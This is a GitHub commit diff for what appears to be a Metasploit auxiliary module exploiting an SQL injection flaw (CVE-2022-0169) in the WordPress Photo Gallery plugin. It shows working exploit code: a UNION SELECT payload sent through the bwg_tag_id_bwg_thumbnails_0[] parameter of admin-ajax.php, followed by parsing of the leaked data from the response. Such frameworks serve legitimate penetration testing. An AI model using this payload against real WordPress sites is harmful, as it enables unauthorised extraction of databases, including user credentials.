Skip to content

Commit efa49d2

Browse files
committed
refactor(wp_photo_gallery): drop unused action + guard against LocalJumpError in SQLi helper
1 parent 9d56001 commit efa49d2

File tree

1 file changed

+18
-16
lines changed

1 file changed

+18
-16
lines changed

modules/auxiliary/gather/wp_photo_gallery_sqli.rb

Lines changed: 18 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -31,8 +31,6 @@ def initialize(info = {})
3131
['WPVDB', '0b4d870f-eab8-4544-91f8-9c5f0538709c'],
3232
['URL', 'https://github.com/X3RX3SSec/CVE-2022-0169']
3333
],
34-
'Actions' => [['SQLi', { 'Description' => 'Perform SQL Injection via bwg_frontend_data' }]],
35-
'DefaultAction' => 'SQLi',
3634
'DefaultOptions' => {
3735
'VERBOSE' => true,
3836
'COUNT' => 5
@@ -54,30 +52,34 @@ def initialize(info = {})
5452

5553
def get_sqli_object
5654
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
57-
expr = payload.to_s.gsub(/\s+/, ' ').strip
58-
cols = Array.new(23) { |i| i == 7 ? "(#{expr})" : rand(1000..9999).to_s }
59-
injected = ")\" union select #{cols.join(',')} -- -"
60-
endpoint = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
61-
params = {
62-
'action' => 'bwg_frontend_data',
63-
'shortcode_id' => '1',
64-
'bwg_tag_id_bwg_thumbnails_0[]' => injected
65-
}
55+
expression = payload.to_s.strip.gsub(/\s+/, ' ')
56+
columns = Array.new(23) { |i| i == 7 ? "(#{expression})" : rand(1000..9999) }
57+
injected = ")\" union select #{columns.join(',')} -- -"
6658

67-
res = send_request_cgi('method' => 'GET', 'uri' => endpoint, 'vars_get' => params)
68-
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
59+
res = send_request_cgi(
60+
'method' => 'GET',
61+
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php'),
62+
'vars_get' => {
63+
'action' => 'bwg_frontend_data',
64+
'shortcode_id' => '1',
65+
'bwg_tag_id_bwg_thumbnails_0[]' => injected
66+
}
67+
)
68+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
6969

7070
node = res.get_html_document.at_css('div.bwg-title2')
71-
node ? node.text : GET_SQLI_OBJECT_FAILED_ERROR_MSG
71+
result = node&.text.to_s.strip
72+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG if result.empty?
73+
74+
result
7275
end
7376
end
7477

7578
def check
7679
@sqli = get_sqli_object
7780
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
78-
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
7981

80-
Exploit::CheckCode::Safe
82+
@sqli.test_vulnerable ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
8183
end
8284

8385
def run

0 commit comments

Comments
 (0)